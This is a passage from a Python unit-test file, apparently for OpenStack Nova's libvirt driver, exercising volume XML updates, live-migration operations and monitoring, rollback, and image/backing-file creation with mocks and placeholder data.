test_update_volume_xml_no_serial(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) xml_tmpl = """ <domain type='kvm'> <devices> <disk type='block' device='disk'> <driver name='qemu' type='raw' cache='none'/> <source dev='{device_path}'/> <target bus='virtio' dev='vdb'/> <serial></serial> <address type='pci' domain='0x0' bus='0x0' slot='0x04' \ function='0x0'/> </disk> </devices> </domain> """ initial_xml = xml_tmpl.format(device_path='/dev/disk/by-path/' 'ip-1.2.3.4:3260-iqn.' 'abc.12345.opst-lun-X') target_xml = xml_tmpl.format(device_path='/dev/disk/by-path/' 'ip-1.2.3.4:3260-iqn.' 'abc.12345.opst-lun-X') target_xml = etree.tostring(etree.fromstring(target_xml)) serial = "58a84f6d-3f0c-4e19-a0af-eb657b790657" volume_xml = {'volume': {}} volume_xml['volume'][serial] = {'connection_info': {}, 'disk_info': {}} volume_xml['volume'][serial]['connection_info'] = \ {u'driver_volume_type': u'iscsi', 'serial': u'58a84f6d-3f0c-4e19-a0af-eb657b790657', u'data': {u'access_mode': u'rw', u'target_discovered': False, u'target_iqn': u'ip-1.2.3.4:3260-iqn.cde.67890.opst-lun-Z', u'volume_id': u'58a84f6d-3f0c-4e19-a0af-eb657b790657', 'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.cde.67890.opst-lun-Z'}} volume_xml['volume'][serial]['disk_info'] = {'bus': u'virtio', 'type': u'disk', 'dev': u'vdb'} connection_info = volume_xml['volume'][serial]['connection_info'] disk_info = volume_xml['volume'][serial]['disk_info'] conf = vconfig.LibvirtConfigGuestDisk() conf.source_device = disk_info['type'] conf.driver_name = "qemu" conf.driver_format = "raw" conf.driver_cache = "none" conf.target_dev = disk_info['dev'] conf.target_bus = disk_info['bus'] conf.serial = connection_info.get('serial') conf.source_type = "block" conf.source_path = connection_info['data'].get('device_path') with mock.patch.object(drvr, '_get_volume_config', return_value=conf): xml_doc = etree.fromstring(initial_xml) config = drvr._update_volume_xml(xml_doc, volume_xml['volume']) self.assertEqual(target_xml, etree.tostring(config)) def test_update_volume_xml_no_connection_info(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) initial_xml = self.device_xml_tmpl.format( device_path='/dev/disk/by-path/' 'ip-1.2.3.4:3260-iqn.' 'abc.12345.opst-lun-X') target_xml = self.device_xml_tmpl.format( device_path='/dev/disk/by-path/' 'ip-1.2.3.4:3260-iqn.' 'abc.12345.opst-lun-X') target_xml = etree.tostring(etree.fromstring(target_xml)) serial = "58a84f6d-3f0c-4e19-a0af-eb657b790657" volume_xml = {'volume': {}} volume_xml['volume'][serial] = {'info1': {}, 'info2': {}} conf = vconfig.LibvirtConfigGuestDisk() with mock.patch.object(drvr, '_get_volume_config', return_value=conf): xml_doc = etree.fromstring(initial_xml) config = drvr._update_volume_xml(xml_doc, volume_xml['volume']) self.assertEqual(target_xml, etree.tostring(config)) @mock.patch.object(fakelibvirt, 'VIR_DOMAIN_XML_MIGRATABLE', None, create=True) def test_live_migration_uses_migrateToURI_without_migratable_flag(self): self.compute = importutils.import_object(CONF.compute_manager) instance_dict = dict(self.test_instance) instance_dict.update({'host': 'fake', 'power_state': power_state.RUNNING, 'vm_state': vm_states.ACTIVE}) instance_ref = objects.Instance(**instance_dict) # Preparing mocks vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "migrateToURI") _bandwidth = CONF.libvirt.live_migration_bandwidth vdmock.migrateToURI(CONF.libvirt.live_migration_uri % 'dest', mox.IgnoreArg(), None, _bandwidth).AndRaise( fakelibvirt.libvirtError("ERR")) # start test migrate_data = {'pre_live_migration_result': {'graphics_listen_addrs': {'vnc': '0.0.0.0', 'spice': '0.0.0.0'}}} self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(fakelibvirt.libvirtError, drvr._live_migration_operation, self.context, instance_ref, 'dest', False, migrate_data, vdmock) def test_live_migration_uses_migrateToURI_without_dest_listen_addrs(self): self.compute = importutils.import_object(CONF.compute_manager) instance_dict = dict(self.test_instance) instance_dict.update({'host': 'fake', 'power_state': power_state.RUNNING, 'vm_state': vm_states.ACTIVE}) instance_ref = objects.Instance(**instance_dict) # Preparing mocks vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "migrateToURI") _bandwidth = CONF.libvirt.live_migration_bandwidth vdmock.migrateToURI(CONF.libvirt.live_migration_uri % 'dest', mox.IgnoreArg(), None, _bandwidth).AndRaise( fakelibvirt.libvirtError("ERR")) # start test migrate_data = {} self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(fakelibvirt.libvirtError, drvr._live_migration_operation, self.context, instance_ref, 'dest', False, migrate_data, vdmock) @mock.patch.object(fakelibvirt, 'VIR_DOMAIN_XML_MIGRATABLE', None, create=True) def test_live_migration_fails_without_migratable_flag_or_0_addr(self): self.flags(enabled=True, vncserver_listen='1.2.3.4', group='vnc') self.compute = importutils.import_object(CONF.compute_manager) instance_dict = dict(self.test_instance) instance_dict.update({'host': 'fake', 'power_state': power_state.RUNNING, 'vm_state': vm_states.ACTIVE}) instance_ref = objects.Instance(**instance_dict) # Preparing mocks vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "migrateToURI") # start test migrate_data = {'pre_live_migration_result': {'graphics_listen_addrs': {'vnc': '1.2.3.4', 'spice': '1.2.3.4'}}} self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.MigrationError, drvr._live_migration_operation, self.context, instance_ref, 'dest', False, migrate_data, vdmock) def test_live_migration_raises_exception(self): # Confirms recover method is called when exceptions are raised. # Preparing data self.compute = importutils.import_object(CONF.compute_manager) instance_dict = dict(self.test_instance) instance_dict.update({'host': 'fake', 'power_state': power_state.RUNNING, 'vm_state': vm_states.ACTIVE}) instance_ref = objects.Instance(**instance_dict) # Preparing mocks vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "migrateToURI2") _bandwidth = CONF.libvirt.live_migration_bandwidth if getattr(fakelibvirt, 'VIR_DOMAIN_XML_MIGRATABLE', None) is None: vdmock.migrateToURI(CONF.libvirt.live_migration_uri % 'dest', mox.IgnoreArg(), None, _bandwidth).AndRaise( fakelibvirt.libvirtError('ERR')) else: vdmock.XMLDesc(flags=fakelibvirt.VIR_DOMAIN_XML_MIGRATABLE ).AndReturn(FakeVirtDomain().XMLDesc(flags=0)) vdmock.migrateToURI2(CONF.libvirt.live_migration_uri % 'dest', None, mox.IgnoreArg(), mox.IgnoreArg(), None, _bandwidth).AndRaise( fakelibvirt.libvirtError('ERR')) # start test migrate_data = {'pre_live_migration_result': {'graphics_listen_addrs': {'vnc': '127.0.0.1', 'spice': '127.0.0.1'}}} self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(fakelibvirt.libvirtError, drvr._live_migration_operation, self.context, instance_ref, 'dest', False, migrate_data, vdmock) self.assertEqual(vm_states.ACTIVE, instance_ref.vm_state) self.assertEqual(power_state.RUNNING, instance_ref.power_state) def test_live_migration_raises_unsupported_config_exception(self): # Tests that when migrateToURI2 fails with VIR_ERR_CONFIG_UNSUPPORTED, # migrateToURI is used instead. # Preparing data instance_ref = objects.Instance(**self.test_instance) # Preparing mocks vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, 'migrateToURI2') self.mox.StubOutWithMock(vdmock, 'migrateToURI') _bandwidth = CONF.libvirt.live_migration_bandwidth vdmock.XMLDesc(flags=fakelibvirt.VIR_DOMAIN_XML_MIGRATABLE).AndReturn( FakeVirtDomain().XMLDesc(flags=0)) unsupported_config_error = fakelibvirt.libvirtError('ERR') unsupported_config_error.err = ( fakelibvirt.VIR_ERR_CONFIG_UNSUPPORTED,) # This is the first error we hit but since the error code is # VIR_ERR_CONFIG_UNSUPPORTED we'll try migrateToURI. vdmock.migrateToURI2(CONF.libvirt.live_migration_uri % 'dest', None, mox.IgnoreArg(), mox.IgnoreArg(), None, _bandwidth).AndRaise(unsupported_config_error) # This is the second and final error that will actually kill the run, # we use TestingException to make sure it's not the same libvirtError # above. vdmock.migrateToURI(CONF.libvirt.live_migration_uri % 'dest', mox.IgnoreArg(), None, _bandwidth).AndRaise(test.TestingException('oops')) graphics_listen_addrs = {'vnc': '0.0.0.0', 'spice': '127.0.0.1'} migrate_data = {'pre_live_migration_result': {'graphics_listen_addrs': graphics_listen_addrs}} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.mox.StubOutWithMock( drvr, '_check_graphics_addresses_can_live_migrate') drvr._check_graphics_addresses_can_live_migrate(graphics_listen_addrs) self.mox.ReplayAll() # start test self.assertRaises(test.TestingException, drvr._live_migration_operation, self.context, instance_ref, 'dest', False, migrate_data, vdmock) @mock.patch('shutil.rmtree') @mock.patch('os.path.exists', return_value=True) @mock.patch('nova.virt.libvirt.utils.get_instance_path_at_destination') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver.destroy') def test_rollback_live_migration_at_dest_not_shared(self, mock_destroy, mock_get_instance_path, mock_exist, mock_shutil ): # destroy method may raise InstanceTerminationFailure or # InstancePowerOffFailure, here use their base class Invalid. mock_destroy.side_effect = exception.Invalid(reason='just test') fake_instance_path = os.path.join(cfg.CONF.instances_path, '/fake_instance_uuid') mock_get_instance_path.return_value = fake_instance_path drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) migrate_data = {'is_shared_instance_path': False} self.assertRaises(exception.Invalid, drvr.rollback_live_migration_at_destination, "context", "instance", [], None, True, migrate_data) mock_exist.assert_called_once_with(fake_instance_path) mock_shutil.assert_called_once_with(fake_instance_path) @mock.patch('shutil.rmtree') @mock.patch('os.path.exists') @mock.patch('nova.virt.libvirt.utils.get_instance_path_at_destination') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver.destroy') def test_rollback_live_migration_at_dest_shared(self, mock_destroy, mock_get_instance_path, mock_exist, mock_shutil ): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) migrate_data = {'is_shared_instance_path': True} drvr.rollback_live_migration_at_destination("context", "instance", [], None, True, migrate_data) mock_destroy.assert_called_once_with("context", "instance", [], None, True, migrate_data) self.assertFalse(mock_get_instance_path.called) self.assertFalse(mock_exist.called) self.assertFalse(mock_shutil.called) @mock.patch.object(time, "sleep", side_effect=lambda x: eventlet.sleep(0)) @mock.patch.object(host.DomainJobInfo, "for_domain") @mock.patch.object(objects.Instance, "save") @mock.patch.object(fakelibvirt.Connection, "_mark_running") def _test_live_migration_monitoring(self, job_info_records, expect_success, mock_running, mock_save, mock_job_info, mock_sleep): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) dom = fakelibvirt.Domain(drvr._get_connection(), "<domain/>", True) finish_event = eventlet.event.Event() def fake_job_info(hostself): while True: self.assertTrue(len(job_info_records) > 0) rec = job_info_records.pop() if type(rec) == str: if rec == "thread-finish": finish_event.send() elif rec == "domain-stop": dom.destroy() else: return rec return rec mock_job_info.side_effect = fake_job_info dest = mock.sentinel.migrate_dest migrate_data = mock.sentinel.migrate_data fake_post_method = mock.MagicMock() fake_recover_method = mock.MagicMock() drvr._live_migration_monitor(self.context, instance, dest, fake_post_method, fake_recover_method, False, migrate_data, dom, finish_event) if expect_success: self.assertFalse(fake_recover_method.called, 'Recover method called when success expected') fake_post_method.assert_called_once_with( self.context, instance, dest, False, migrate_data) else: self.assertFalse(fake_post_method.called, 'Post method called when success not expected') fake_recover_method.assert_called_once_with( self.context, instance, dest, False, migrate_data) def test_live_migration_monitor_success(self): # A normal sequence where see all the normal job states domain_info_records = [ host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_NONE), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), "thread-finish", "domain-stop", host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_COMPLETED), ] self._test_live_migration_monitoring(domain_info_records, True) def test_live_migration_monitor_success_race(self): # A normalish sequence but we're too slow to see the # completed job state domain_info_records = [ host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_NONE), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), "thread-finish", "domain-stop", host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_NONE), ] self._test_live_migration_monitoring(domain_info_records, True) def test_live_migration_monitor_failed(self): # A failed sequence where we see all the expected events domain_info_records = [ host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_NONE), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), "thread-finish", host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_FAILED), ] self._test_live_migration_monitoring(domain_info_records, False) def test_live_migration_monitor_failed_race(self): # A failed sequence where we are too slow to see the # failed event domain_info_records = [ host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_NONE), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), "thread-finish", host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_NONE), ] self._test_live_migration_monitoring(domain_info_records, False) def test_live_migration_monitor_cancelled(self): # A cancelled sequence where we see all the events domain_info_records = [ host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_NONE), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_UNBOUNDED), "thread-finish", "domain-stop", host.DomainJobInfo( type=fakelibvirt.VIR_DOMAIN_JOB_CANCELLED), ] self._test_live_migration_monitoring(domain_info_records, False) @mock.patch.object(utils, "spawn") @mock.patch.object(libvirt_driver.LibvirtDriver, "_live_migration_monitor") @mock.patch.object(host.Host, "get_domain") @mock.patch.object(fakelibvirt.Connection, "_mark_running") def test_live_migration_main(self, mock_running, mock_dom, mock_monitor, mock_thread): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) dom = fakelibvirt.Domain(drvr._get_connection(), "<domain/>", True) migrate_data = {} mock_dom.return_value = dom def fake_post(): pass def fake_recover(): pass drvr._live_migration(self.context, instance, "fakehost", fake_post, fake_recover, False, migrate_data) class AnyEventletEvent(object): def __eq__(self, other): return type(other) == eventlet.event.Event mock_thread.assert_called_once_with( drvr._live_migration_operation, self.context, instance, "fakehost", False, migrate_data, dom) mock_monitor.assert_called_once_with( self.context, instance, "fakehost", fake_post, fake_recover, False, migrate_data, dom, AnyEventletEvent()) def _do_test_create_images_and_backing(self, disk_type): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.mox.StubOutWithMock(drvr, '_fetch_instance_kernel_ramdisk') self.mox.StubOutWithMock(libvirt_driver.libvirt_utils, 'create_image') disk_info = {'path': 'foo', 'type': disk_type, 'disk_size': 1 * 1024 ** 3, 'virt_disk_size': 20 * 1024 ** 3, 'backing_file': None} libvirt_driver.libvirt_utils.create_image( disk_info['type'], mox.IgnoreArg(), disk_info['virt_disk_size']) drvr._fetch_instance_kernel_ramdisk(self.context, self.test_instance, fallback_from_host=None) self.mox.ReplayAll() self.stubs.Set(os.path, 'exists', lambda *args: False) drvr._create_images_and_backing(self.context, self.test_instance, "/fake/instance/dir", [disk_info]) def test_create_images_and_backing_qcow2(self): self._do_test_create_images_and_backing('qcow2') def test_create_images_and_backing_raw(self): self._do_test_create_images_and_backing('raw') def test_create_images_and_backing_images_not_exist_no_fallback(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) disk_info = [ {u'backing_file': u'fake_image_backing_file', u'disk_size': 10747904, u'path': u'disk_path', u'type': u'qcow2', u'virt_disk_size': 25165824}] self.test_instance.update({'user_id': 'fake-user', 'os_type': None, 'project_id': 'fake-project'}) instance = objects.Instance(**self.test_instance) with mock.patch.object(libvirt_driver.libvirt_utils, 'fetch_image', side_effect=exception.ImageNotFound( image_id="fake_id")): self.assertRaises(exception.ImageNotFound, conn._create_images_and_backing, self.context, instance, "/fake/instance/dir", disk_info) def test_create_images_and_backing_images_not_exist_fallback(self): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) disk_info = [ {u'backing_file': u'fake_image_backing_file', u'disk_size': 10747904, u'path': u'disk_path', u'type': u'qcow2', u'virt_disk_size': 25165824}] base_dir = os.path.join(CONF.instances_path, CONF.image_cache_subdirectory_name) self.test_instance.update({'user_id': 'fake-user', 'os_type': None, 'kernel_id': 'fake_kernel_id', 'ramdisk_id': 'fake_ramdisk_id', 'project_id': 'fake-project'}) instance = objects.Instance(**self.test_instance) with contextlib.nested( mock.patch.object(libvirt_driver.libvirt_utils, 'copy_image'), mock.patch.object(libvirt_driver.libvirt_utils, 'fetch_image', side_effect=exception.ImageNotFound( image_id="fake_id")), ) as (copy_image_mock, fetch_image_mock): conn._create_images_and_backing(self.context, instance, "/fake/instance/dir", disk_info, fallback_from_host="fake_host") backfile_path = os.path.join(base_dir, 'fake_image_backing_file') kernel_path = os.path.join(CONF.instances_path, self.test_instance['uuid'], 'kernel') ramdisk_path = os.path.join(CONF.instances_path, self.test_instance['uuid'], 'ramdisk') copy_image_mock.assert_has_calls([ mock.call(dest=backfile_path, src=backfile_path, host='fake_host', receive=True), mock.call(dest=kernel_path, src=kernel_path, host='fake_host', receive=True), mock.call(dest=ramdisk_path, src=ramdisk_path, host='fake_host', receive=True) ]) fetch_image_mock.assert_has_calls([ mock.call(context=self.context, target=backfile_path, image_id=self.test_instance['image_ref'], user_id=self.test_instance['user_id'], project_id=self.test_instance['project_id'], max_size=25165824), mock.call(self.context, kernel_path, self.test_instance['kernel_id'], self.test_instance['user_id'], self.test_instance['project_id']), mock.call(self.context, ramdisk_path, self.test_instance['ramdisk_id'], self.test_instance['user_id'], self.test_instance['project_id']), ]) @mock.patch.object(libvirt_driver.libvirt_utils, 'fetch_image') @mock.patch.object(os.path, 'exists', return_value=True) def test_create_images_and_backing_images_exist(self, mock_exists, mock_fetch_image): conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) disk_info = [ {u'backing_file': u'fake_image_backing_file', u'disk_size': 10747904, u'path': u'disk_path', u'type': u'qcow2', u'virt_disk_size': 25165824}] self.test_instance.update({'user_id': 'fake-user', 'os_type': None, 'kernel_id': 'fake_kernel_id', 'ramdisk_id': 'fake_ramdisk_id', 'project_id': 'fake-project'}) instance = objects.Instance(**self.test_instance) conn._create_images_and_backing(self.context, instance, '/fake/instance/dir', disk_info) self.assertFalse(mock_fetch_image.called) def test_create_images_and_backing_ephemeral_gets_created(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) disk_info = [ {u'backing_file': u'fake_image_backing_file', u'disk_size': 10747904, u'path': u'disk_path', u'type': u'qcow2', u'virt_disk_size': 25165824}, {u'backing_file': u'ephemeral_1_default', u'disk_size': 393216, u'over_committed_disk_size': 1073348608, u'path': u'disk_eph_path', u'type': u'qcow2', u'virt_disk_size': 1073741824}] base_dir = os.path.join(CONF.instances_path, CONF.image_cache_subdirectory_name) instance = objects.Instance(**self.test_instance) with contextlib.nested( mock.patch.object(drvr, '_fetch_instance_kernel_ramdisk'), mock.patch.object(libvirt_driver.libvirt_utils, 'fetch_image'), mock.patch.object(drvr, '_create_ephemeral'), mock.patch.object(imagebackend.Image, 'verify_base_size') ) as (fetch_kernel_ramdisk_mock, fetch_image_mock, create_ephemeral_mock, verify_base_size_mock): drvr._create_images_and_backing(self.context, instance, "/fake/instance/dir", disk_info) self.assertEqual(len(create_ephemeral_mock.call_args_list), 1) m_args, m_kwargs = create_ephemeral_mock.call_args_list[0] self.assertEqual( os.path.join(base_dir, 'ephemeral_1_default'), m_kwargs['target']) self.assertEqual(len(fetch_image_mock.call_args_list), 1) m_args, m_kwargs = fetch_image_mock.call_args_list[0] self.assertEqual( os.path.join(base_dir, 'fake_image_backing_file'), m_kwargs['target']) verify_base_size_mock.assert_has_calls([ mock.call(os.path.join(base_dir, 'fake_image_backing_file'), 25165824), mock.call(os.path.join(base_dir, 'ephemeral_1_default'), 1073741824) ]) def test_create_images_and_backing_disk_info_none(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.mox.StubOutWithMock(drvr, '_fetch_instance_kernel_ramdisk') drvr._fetch_instance_kernel_ramdisk(self.context, self.test_instance, fallback_from_host=None) self.mox.ReplayAll() drvr._create_images_and_backing(self.context, self.test_instance, "/fake/instance/dir", None) def test_pre_live_migration_works_correctly_mocked(self): # Creating testdata vol = {'block_device_mapping': [ {'connection_info': {'serial': '12345', u'data': {'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.abc.12345.opst-lun-X'}}, 'mount_device': '/dev/sda'}, {'connection_info': {'serial': '67890', u'data': {'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.cde.67890.opst-lun-Z'}}, 'mount_device': '/dev/sdb'}]} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) class FakeNetworkInfo(object): def fixed_ips(self): return ["test_ip_addr"] def fake_none(*args, **kwargs): return self.stubs.Set(drvr, '_create_images_and_backing', fake_none) instance = objects.Instance(**self.test_instance) c = context.get_admin_context() nw_info = FakeNetworkInfo() # Creating mocks self.mox.StubOutWithMock(driver, "block_device_info_get_mapping") driver.block_device_info_get_mapping(vol ).AndReturn(vol['block_device_mapping']) self.mox.StubOutWithMock(drvr, "_connect_volume") for v in vol['block_device_mapping']: disk_info = { 'bus': "scsi", 'dev': v['mount_device'].rpartition("/")[2], 'type': "disk" } drvr._connect_volume(v['connection_info'], disk_info) self.mox.StubOutWithMock(drvr, 'plug_vifs') drvr.plug_vifs(mox.IsA(instance), nw_info) self.mox.ReplayAll() result = drvr.pre_live_migration( c, instance, vol, nw_info, None, migrate_data={"block_migration": False}) target_ret = { 'graphics_listen_addrs': {'spice': '127.0.0.1', 'vnc': '127.0.0.1'}, 'volume': { '12345': {'connection_info': {u'data': {'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.abc.12345.opst-lun-X'}, 'serial': '12345'}, 'disk_info': {'bus': 'scsi', 'dev': 'sda', 'type': 'disk'}}, '67890': {'connection_info': {u'data': {'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.cde.67890.opst-lun-Z'}, 'serial': '67890'}, 'disk_info': {'bus': 'scsi', 'dev': 'sdb', 'type': 'disk'}}}} self.assertEqual(result, target_ret) def test_pre_live_migration_block_with_config_drive_mocked(self): # Creating testdata vol = {'block_device_mapping': [ {'connection_info': 'dummy', 'mount_device': '/dev/sda'}, {'connection_info': 'dummy', 'mount_device': '/dev/sdb'}]} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) def fake_true(*args, **kwargs): return True self.stubs.Set(configdrive, 'required_by', fake_true) instance = objects.Instance(**self.test_instance) c = context.get_admin_context() self.assertRaises(exception.NoLiveMigrationForConfigDriveInLibVirt, drvr.pre_live_migration, c, instance, vol, None, None, {'is_shared_instance_path': False, 'is_shared_block_storage': False}) @mock.patch('nova.virt.driver.block_device_info_get_mapping', return_value=()) @mock.patch('nova.virt.configdrive.required_by', return_value=True) def test_pre_live_migration_block_with_config_drive_mocked_with_vfat( self, mock_required_by, block_device_info_get_mapping): self.flags(config_drive_format='vfat') # Creating testdata vol = {'block_device_mapping': [ {'connection_info': 'dummy', 'mount_device': '/dev/sda'}, {'connection_info': 'dummy', 'mount_device': '/dev/sdb'}]} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) res_data = drvr.pre_live_migration( self.context, instance, vol, [], None, {'is_shared_instance_path': False, 'is_shared_block_storage': False}) block_device_info_get_mapping.assert_called_once_with( {'block_device_mapping': [ {'connection_info': 'dummy', 'mount_device': '/dev/sda'}, {'connection_info': 'dummy', 'mount_device': '/dev/sdb'} ]} ) self.assertEqual({'graphics_listen_addrs': {'spice': '127.0.0.1', 'vnc': '127.0.0.1'}, 'volume': {}}, res_data) def test_pre_live_migration_vol_backed_works_correctly_mocked(self): # Creating testdata, using temp dir. with utils.tempdir() as tmpdir: self.flags(instances_path=tmpdir) vol = {'block_device_mapping': [ {'connection_info': {'serial': '12345', u'data': {'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.abc.12345.opst-lun-X'}}, 'mount_device': '/dev/sda'}, {'connection_info': {'serial': '67890', u'data': {'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.cde.67890.opst-lun-Z'}}, 'mount_device': '/dev/sdb'}]} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) def fake_none(*args, **kwargs): return self.stubs.Set(drvr, '_create_images_and_backing', fake_none) class FakeNetworkInfo(object): def fixed_ips(self): return ["test_ip_addr"] inst_ref = objects.Instance(**self.test_instance) c = context.get_admin_context() nw_info = FakeNetworkInfo() # Creating mocks self.mox.StubOutWithMock(drvr, "_connect_volume") for v in vol['block_device_mapping']: disk_info = { 'bus': "scsi", 'dev': v['mount_device'].rpartition("/")[2], 'type': "disk" } drvr._connect_volume(v['connection_info'], disk_info) self.mox.StubOutWithMock(drvr, 'plug_vifs') drvr.plug_vifs(mox.IsA(inst_ref), nw_info) self.mox.ReplayAll() migrate_data = {'is_shared_instance_path': False, 'is_volume_backed': True, 'block_migration': False, 'instance_relative_path': inst_ref['name'] } ret = drvr.pre_live_migration(c, inst_ref, vol, nw_info, None, migrate_data) target_ret = { 'graphics_listen_addrs': {'spice': '127.0.0.1', 'vnc': '127.0.0.1'}, 'volume': { '12345': {'connection_info': {u'data': {'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.abc.12345.opst-lun-X'}, 'serial': '12345'}, 'disk_info': {'bus': 'scsi', 'dev': 'sda', 'type': 'disk'}}, '67890': {'connection_info': {u'data': {'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.cde.67890.opst-lun-Z'}, 'serial': '67890'}, 'disk_info': {'bus': 'scsi', 'dev': 'sdb', 'type': 'disk'}}}} self.assertEqual(ret, target_ret) self.assertTrue(os.path.exists('%s/%s/' % (tmpdir, inst_ref['name']))) def test_pre_live_migration_plug_vifs_retry_fails(self): self.flags(live_migration_retry_count=3) instance = objects.Instance(**self.test_instance) def fake_plug_vifs(instance, network_info): raise processutils.ProcessExecutionError() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr, 'plug_vifs', fake_plug_vifs) self.stubs.Set(eventlet.greenthread, 'sleep', lambda x: eventlet.sleep(0)) disk_info_json = jsonutils.dumps({}) self.assertRaises(processutils.ProcessExecutionError, drvr.pre_live_migration, self.context, instance, block_device_info=None, network_info=[], disk_info=disk_info_json) def test_pre_live_migration_plug_vifs_retry_works(self): self.flags(live_migration_retry_count=3) called = {'count': 0} instance = objects.Instance(**self.test_instance) def fake_plug_vifs(instance, network_info): called['count'] += 1 if called['count'] < CONF.live_migration_retry_count: raise processutils.ProcessExecutionError() else: return drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr, 'plug_vifs', fake_plug_vifs) self.stubs.Set(eventlet.greenthread, 'sleep', lambda x: eventlet.sleep(0)) disk_info_json = jsonutils.dumps({}) drvr.pre_live_migration(self.context, instance, block_device_info=None, network_info=[], disk_info=disk_info_json) def test_pre_live_migration_image_not_created_with_shared_storage(self): migrate_data_set = [{'is_shared_block_storage': False, 'block_migration': False}, {'is_shared_block_storage': True, 'block_migration': False}, {'is_shared_block_storage': False, 'block_migration': True}] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) # creating mocks with contextlib.nested( mock.patch.object(drvr, '_create_images_and_backing'), mock.patch.object(drvr, 'ensure_filtering_rules_for_instance'), mock.patch.object(drvr, 'plug_vifs'), ) as ( create_image_mock, rules_mock, plug_mock, ): disk_info_json = jsonutils.dumps({}) for migrate_data in migrate_data_set: res = drvr.pre_live_migration(self.context, instance, block_device_info=None, network_info=[], disk_info=disk_info_json, migrate_data=migrate_data) self.assertFalse(create_image_mock.called) self.assertIsInstance(res, dict) def test_pre_live_migration_with_not_shared_instance_path(self): migrate_data = {'is_shared_block_storage': False, 'is_shared_instance_path': False} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) def check_instance_dir(context, instance, instance_dir, disk_info, fallback_from_host=False): self.assertTrue(instance_dir) # creating mocks with contextlib.nested( mock.patch.object(drvr, '_create_images_and_backing', 